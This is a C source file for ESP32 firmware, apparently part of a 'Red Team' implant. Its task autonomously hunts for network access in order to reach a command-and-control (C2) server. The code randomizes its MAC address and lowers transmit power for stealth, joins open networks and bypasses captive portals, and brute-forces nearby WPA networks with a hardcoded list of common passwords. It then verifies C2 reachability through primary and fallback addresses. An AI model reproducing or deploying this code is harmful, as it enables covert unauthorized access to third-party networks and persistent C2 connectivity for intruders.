/* * rt_hunt.c * Red Team hunt state machine — autonomous network hunting. * FreeRTOS task (8KB stack, Core 1). */ #include "sdkconfig.h" #include "rt_hunt.h" #ifdef CONFIG_MODULE_REDTEAM #include #include #include "esp_log.h" #include "esp_wifi.h" #include "esp_event.h" #include "esp_netif.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "freertos/event_groups.h" #include "lwip/sockets.h" #include "lwip/netdb.h" #include "utils.h" #include "rt_config.h" #include "rt_stealth.h" #include "rt_captive.h" #include "rt_mesh.h" static const char *TAG = "RT_HUNT"; #define RT_HUNT_STACK 8192 #define RT_HUNT_PRIO 6 #define RT_WIFI_TIMEOUT_MS 8000 #define RT_TCP_TIMEOUT_S 5 #define RT_RESCAN_DELAY_S 60 #define RT_MAX_WPA_TRIES 5 #define RT_WPA_MIN_RSSI -65 /* Event bits for WiFi events */ #define RT_EVT_GOT_IP BIT0 #define RT_EVT_DISCONNECT BIT1 /* ============================================================ * State * ============================================================ */ static volatile rt_state_t s_state = RT_IDLE; static char s_connected_ssid[33] = {0}; static char s_connected_method[16] = {0}; static volatile bool s_active = false; static TaskHandle_t s_task_handle = NULL; static EventGroupHandle_t s_evt_group = NULL; /* Mutex protecting s_state, s_connected_ssid, s_connected_method */ static SemaphoreHandle_t s_state_mutex = NULL; static inline void state_lock(void) { if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY); } static inline void state_unlock(void) { if (s_state_mutex) xSemaphoreGive(s_state_mutex); } /* Saved original WiFi config for restore */ static wifi_config_t s_orig_wifi_config; static bool s_orig_config_saved = false; /* State name lookup */ static const char *state_names[] = { [RT_IDLE] = "idle", [RT_STEALTH_PREP] = "stealth_prep", [RT_PASSIVE_SCAN] = "passive_scan", [RT_MESH_PROBE] = "mesh_probe", [RT_MESH_RELAY] = "mesh_relay", [RT_TRYING_KNOWN] = "trying_known", [RT_TRYING_OPEN] = "trying_open", [RT_TRYING_WPA] = "trying_wpa", [RT_PORTAL_CHECK] = "portal_check", [RT_PORTAL_BYPASS] = "portal_bypass", [RT_C2_VERIFY] = "c2_verify", [RT_CONNECTED] = "connected", [RT_GPRS] = "gprs", }; /* Common WPA passwords (flash, not RAM) */ static const char * const common_passwords[] = { "12345678", "password", "00000000", "11111111", "123456789", "1234567890", "admin1234", "wifi1234", "internet", "guest", "welcome", "freewifi", "password1", "qwerty123", "abcd1234", "12341234", "home1234", "default", "changeme", }; #define NUM_COMMON_PASSWORDS (sizeof(common_passwords) / sizeof(common_passwords[0])) /* ============================================================ * WiFi event handler for hunt (registered dynamically) * ============================================================ */ static void rt_wifi_event_handler(void *arg, esp_event_base_t base, int32_t id, void *data) { if (!s_evt_group) return; if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) { xEventGroupSetBits(s_evt_group, RT_EVT_GOT_IP); } if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) { xEventGroupSetBits(s_evt_group, RT_EVT_DISCONNECT); } } /* ============================================================ * Helpers * ============================================================ */ static void set_state(rt_state_t new_state) { state_lock(); s_state = new_state; state_unlock(); ESP_LOGI(TAG, "→ %s", state_names[new_state]); } /* Try to connect to a WiFi network. Returns true if got IP. */ static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms) { wifi_config_t cfg = {0}; strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1); if (pass && pass[0]) { strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1); } esp_wifi_disconnect(); vTaskDelay(pdMS_TO_TICKS(200)); esp_wifi_set_config(WIFI_IF_STA, &cfg); xEventGroupClearBits(s_evt_group, RT_EVT_GOT_IP | RT_EVT_DISCONNECT); esp_wifi_connect(); EventBits_t bits = xEventGroupWaitBits( s_evt_group, RT_EVT_GOT_IP | RT_EVT_DISCONNECT, pdTRUE, /* clear on exit */ pdFALSE, /* any bit */ pdMS_TO_TICKS(timeout_ms) ); if (bits & RT_EVT_GOT_IP) { ESP_LOGI(TAG, "Got IP on '%s'", ssid); return true; } ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid); return false; } /* Try TCP connect to C2. Returns true if reachable. * Does NOT keep the socket — just verifies connectivity. */ static bool tcp_try_c2(const char *ip, int port) { struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(ip); int s = lwip_socket(AF_INET, SOCK_STREAM, 0); if (s < 0) return false; /* Set connect timeout */ struct timeval tv = { .tv_sec = RT_TCP_TIMEOUT_S, .tv_usec = 0 }; lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)); lwip_close(s); if (ret == 0) { ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port); return true; } return false; } /* Try C2 primary + fallbacks. Returns true if any reachable. */ static bool verify_c2_reachable(void) { set_state(RT_C2_VERIFY); /* Try primary C2 */ if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) { return true; } /* Try NVS fallback addresses */ rt_c2_addr_t addrs[CONFIG_RT_MAX_C2_FALLBACKS]; int count = rt_config_c2_list(addrs, CONFIG_RT_MAX_C2_FALLBACKS); for (int i = 0; i < count; i++) { /* Parse "ip:port" */ char ip_buf[48]; int port = CONFIG_SERVER_PORT; strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1); ip_buf[sizeof(ip_buf) - 1] = '\0'; char *colon = strrchr(ip_buf, ':'); if (colon) { *colon = '\0'; port = atoi(colon + 1); if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT; } if (tcp_try_c2(ip_buf, port)) { return true; } } ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count); return false; } /* Mark successful connection */ static void mark_connected(const char *ssid, const char *method) { state_lock(); strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1); s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0'; strncpy(s_connected_method, method, sizeof(s_connected_method) - 1); s_connected_method[sizeof(s_connected_method) - 1] = '\0'; state_unlock(); set_state(RT_CONNECTED); char buf[128]; snprintf(buf, sizeof(buf), "Connected via %s: '%s'", method, ssid); msg_info(TAG, buf, NULL); } /* ============================================================ * WiFi scan (active — passive scan is Phase 3) * ============================================================ */ typedef struct { char ssid[33]; uint8_t bssid[6]; int8_t rssi; uint8_t channel; wifi_auth_mode_t authmode; } rt_candidate_t; #define RT_MAX_CANDIDATES 32 static rt_candidate_t s_candidates[RT_MAX_CANDIDATES]; static int s_candidate_count = 0; static void do_wifi_scan(void) { s_candidate_count = 0; esp_wifi_disconnect(); vTaskDelay(pdMS_TO_TICKS(200)); wifi_scan_config_t scan_cfg = { .ssid = NULL, .bssid = NULL, .channel = 0, .show_hidden = true, .scan_type = WIFI_SCAN_TYPE_ACTIVE, .scan_time = { .active = { .min = 120, .max = 300 }, }, }; esp_err_t err = esp_wifi_scan_start(&scan_cfg, true); /* blocking */ if (err != ESP_OK) { ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err)); return; } uint16_t ap_count = 0; esp_wifi_scan_get_ap_num(&ap_count); if (ap_count == 0) { ESP_LOGW(TAG, "Scan: 0 APs found"); return; } if (ap_count > RT_MAX_CANDIDATES) ap_count = RT_MAX_CANDIDATES; wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t)); if (!records) { esp_wifi_scan_get_ap_records(&ap_count, NULL); /* free scan memory */ return; } esp_wifi_scan_get_ap_records(&ap_count, records); for (int i = 0; i < ap_count; i++) { rt_candidate_t *c = &s_candidates[s_candidate_count]; strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1); c->ssid[sizeof(c->ssid) - 1] = '\0'; memcpy(c->bssid, records[i].bssid, 6); c->rssi = records[i].rssi; c->channel = records[i].primary; c->authmode = records[i].authmode; s_candidate_count++; } free(records); ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count); /* Report to C2 */ char buf[64]; snprintf(buf, sizeof(buf), "Scan complete: %d APs", s_candidate_count); msg_info(TAG, buf, NULL); } /* ============================================================ * Strategy 1: Try known networks (NVS) * ============================================================ */ static bool try_known_networks(void) { set_state(RT_TRYING_KNOWN); /* Try original WiFi config first (the one we were connected to) */ if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) { ESP_LOGI(TAG, "Trying original WiFi: '%s'", (char *)s_orig_wifi_config.sta.ssid); #ifdef CONFIG_RT_STEALTH rt_stealth_randomize_mac(); #endif if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid, (char *)s_orig_wifi_config.sta.password, RT_WIFI_TIMEOUT_MS)) { if (verify_c2_reachable()) { mark_connected((char *)s_orig_wifi_config.sta.ssid, "original"); return true; } ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable"); } } /* Then try NVS known networks */ rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS]; int net_count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS); if (net_count == 0) { ESP_LOGI(TAG, "No additional known networks in NVS"); return false; } /* Try each known network that was found in scan */ for (int n = 0; n < net_count; n++) { /* Check if this SSID was in the scan results */ bool found_in_scan = false; for (int c = 0; c < s_candidate_count; c++) { if (strcmp(s_candidates[c].ssid, nets[n].ssid) == 0) { found_in_scan = true; break; } } if (!found_in_scan) { /* Still try — might be hidden or missed by scan */ } ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid); #ifdef CONFIG_RT_STEALTH rt_stealth_randomize_mac(); #endif if (wifi_try_connect(nets[n].ssid, nets[n].pass, RT_WIFI_TIMEOUT_MS)) { if (verify_c2_reachable()) { mark_connected(nets[n].ssid, "known"); return true; } ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid); } } return false; } /* ============================================================ * Strategy 2: Try open WiFi networks * ============================================================ */ static bool try_open_networks(void) { set_state(RT_TRYING_OPEN); for (int i = 0; i < s_candidate_count; i++) { if (s_candidates[i].authmode != WIFI_AUTH_OPEN) continue; if (s_candidates[i].ssid[0] == '\0') continue; /* hidden */ ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)", s_candidates[i].ssid, s_candidates[i].rssi); #ifdef CONFIG_RT_STEALTH rt_stealth_randomize_mac(); #endif if (wifi_try_connect(s_candidates[i].ssid, "", RT_WIFI_TIMEOUT_MS)) { /* Check for captive portal */ set_state(RT_PORTAL_CHECK); rt_portal_status_t portal = rt_captive_detect(); if (portal == RT_PORTAL_NONE) { if (verify_c2_reachable()) { mark_connected(s_candidates[i].ssid, "open"); return true; } } else if (portal == RT_PORTAL_DETECTED) { set_state(RT_PORTAL_BYPASS); if (rt_captive_bypass()) { if (verify_c2_reachable()) { mark_connected(s_candidates[i].ssid, "open+portal"); return true; } } ESP_LOGW(TAG, "Portal bypass failed for '%s'", s_candidates[i].ssid); } else { /* RT_PORTAL_UNKNOWN — try C2 directly anyway */ if (verify_c2_reachable()) { mark_connected(s_candidates[i].ssid, "open"); return true; } } } } return false; } /* ============================================================ * Strategy 3: Try WPA with common passwords * ============================================================ */ static bool try_wpa_common(void) { set_state(RT_TRYING_WPA); for (int i = 0; i < s_candidate_count; i++) { /* Only WPA/WPA2, strong signal */ if (s_candidates[i].authmode == WIFI_AUTH_OPEN || s_candidates[i].authmode == WIFI_AUTH_WEP) continue; if (s_candidates[i].rssi < RT_WPA_MIN_RSSI) continue; if (s_candidates[i].ssid[0] == '\0') continue; ESP_LOGI(TAG, "Trying WPA passwords on '%s' (RSSI=%d)", s_candidates[i].ssid, s_candidates[i].rssi); int tries = 0; for (int p = 0; p < (int)NUM_COMMON_PASSWORDS && tries < RT_MAX_WPA_TRIES; p++) { tries++; #ifdef CONFIG_RT_STEALTH rt_stealth_randomize_mac(); #endif if (wifi_try_connect(s_candidates[i].ssid, common_passwords[p], RT_WIFI_TIMEOUT_MS)) { /* Connected! Verify C2 */ if (verify_c2_reachable()) { mark_connected(s_candidates[i].ssid, "wpa"); return true; } /* Connected to WiFi but C2 unreachable — still good find, but continue looking for one with C2 access */ ESP_LOGW(TAG, "'%s' pass='%s' — WiFi OK but no C2", s_candidates[i].ssid, common_passwords[p]); break; /* Don't try more passwords on this SSID */ } } } return false; } /* ============================================================ * Hunt task — main state machine * ============================================================ */ extern atomic_bool fb_active; /* defined in WiFi.c */ extern void wifi_pause_reconnect(void); extern void wifi_resume_reconnect(void); extern SemaphoreHandle_t sock_mutex; static void hunt_task(void *arg) { (void)arg; ESP_LOGI(TAG, "Hunt task started"); /* Save original WiFi config */ if (!s_orig_config_saved) { esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config); s_orig_config_saved = true; } /* Let the command response (msg_info "Hunt started") flush over TCP * before we disconnect WiFi. Without this delay the response is lost. */ vTaskDelay(pdMS_TO_TICKS(500)); /* Take control of WiFi from normal reconnect logic */ fb_active = true; wifi_pause_reconnect(); /* Register our event handler */ esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP, &rt_wifi_event_handler, NULL); esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED, &rt_wifi_event_handler, NULL); while (s_active) { /* ---- STEALTH PREP ---- */ #ifdef CONFIG_RT_STEALTH set_state(RT_STEALTH_PREP); rt_stealth_randomize_mac(); rt_stealth_low_tx_power(); vTaskDelay(pdMS_TO_TICKS(100)); #endif /* ---- SCAN ---- */ set_state(RT_PASSIVE_SCAN); do_wifi_scan(); /* ---- MESH PROBE ---- */ #ifdef CONFIG_RT_MESH set_state(RT_MESH_PROBE); rt_mesh_probe(); vTaskDelay(pdMS_TO_TICKS(3000)); /* Wait for ACK */ rt_mesh_peer_t peer; if (rt_mesh_get_relay(&peer) && peer.available) { set_state(RT_MESH_RELAY); msg_info(TAG, "Mesh relay available — using ESP-NOW", NULL); mark_connected("ESP-NOW", "mesh"); /* Stay in mesh relay mode until stopped or wifi found */ while (s_active && rt_mesh_is_running()) { vTaskDelay(pdMS_TO_TICKS(5000)); } if (!s_active) break; } #endif /* ---- STRATEGY 1: Known networks ---- */ if (s_active && try_known_networks()) break; /* ---- STRATEGY 2: Open networks ---- */ if (s_active && try_open_networks()) break; /* ---- STRATEGY 3: WPA common passwords ---- */ if (s_active && try_wpa_common()) break; /* ---- STRATEGY 4: GPRS ---- */ #ifdef CONFIG_RT_GPRS_FALLBACK set_state(RT_GPRS); ESP_LOGW(TAG, "GPRS fallback — not yet implemented"); #endif /* ---- All strategies failed — wait and rescan ---- */ if (!s_active) break; ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan", RT_RESCAN_DELAY_S); set_state(RT_IDLE); for (int i = 0; i < RT_RESCAN_DELAY_S && s_active; i++) { vTaskDelay(pdMS_TO_TICKS(1000)); } } /* ---- Cleanup ---- */ /* Unregister our handler */ esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP, &rt_wifi_event_handler); esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED, &rt_wifi_event_handler); if (s_state == RT_CONNECTED) { /* We found a connection — let the normal tcp_client_task take over. * It will use whatever WiFi we're connected to. */ #ifdef CONFIG_RT_STEALTH rt_stealth_restore_tx_power(); #endif fb_active = false; wifi_resume_reconnect(); ESP_LOGI(TAG, "Hunt complete — handing off to tcp_client_task"); } else { /* Restore original WiFi config */ #ifdef CONFIG_RT_STEALTH rt_stealth_restore_mac(); rt_stealth_restore_tx_power(); #endif if (s_orig_config_saved) { esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config); } fb_active = false; wifi_resume_reconnect(); /* Reconnect to original WiFi */ esp_wifi_connect(); ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi"); } s_task_handle = NULL; vTaskDelete(NULL); } /* ============================================================ * Public API * ============================================================ */ const char *rt_hunt_state_name(rt_state_t state) { if (state <= RT_GPRS) return state_names[state]; return "unknown"; } rt_state_t rt_hunt_get_state(void) { state_lock(); rt_state_t st = s_state; state_unlock(); return st; } bool rt_hunt_is_active(void) { return s_active; } const char *rt_hunt_connected_ssid(void) { /* Returned pointer is to static buffer — safe to read while mutex ensures the string is not being partially written. Caller should copy if it needs to keep the value. */ static char ssid_copy[33]; state_lock(); memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy)); state_unlock(); return ssid_copy; } const char *rt_hunt_connected_method(void) { static char method_copy[16]; state_lock(); memcpy(method_copy, s_connected_method, sizeof(method_copy)); state_unlock(); return method_copy; } void rt_hunt_trigger(void) { if (s_active) { ESP_LOGW(TAG, "Hunt already active"); return; } /* Create mutex ONCE before any task uses it — avoids lazy init race */ if (!s_state_mutex) { s_state_mutex = xSemaphoreCreateMutex(); } if (!s_evt_group) { s_evt_group = xEventGroupCreate(); } s_active = true; state_lock(); s_state = RT_IDLE; s_connected_ssid[0] = '\0'; s_connected_method[0] = '\0'; state_unlock(); BaseType_t ret = xTaskCreatePinnedToCore( hunt_task, "rt_hunt", RT_HUNT_STACK, NULL, RT_HUNT_PRIO, &s_task_handle, 1 /* Core 1 */ ); if (ret != pdPASS) { ESP_LOGE(TAG, "Failed to create hunt task"); s_active = false; } } void rt_hunt_stop(void) { if (!s_active) return; s_active = false; /* Signal task to exit */ /* Wait for task to finish cleanup (max 5s) */ for (int i = 0; i < 50 && s_task_handle != NULL; i++) { vTaskDelay(pdMS_TO_TICKS(100)); } state_lock(); s_state = RT_IDLE; s_connected_ssid[0] = '\0'; s_connected_method[0] = '\0'; state_unlock(); ESP_LOGI(TAG, "Hunt stopped"); } #endif /* CONFIG_MODULE_REDTEAM */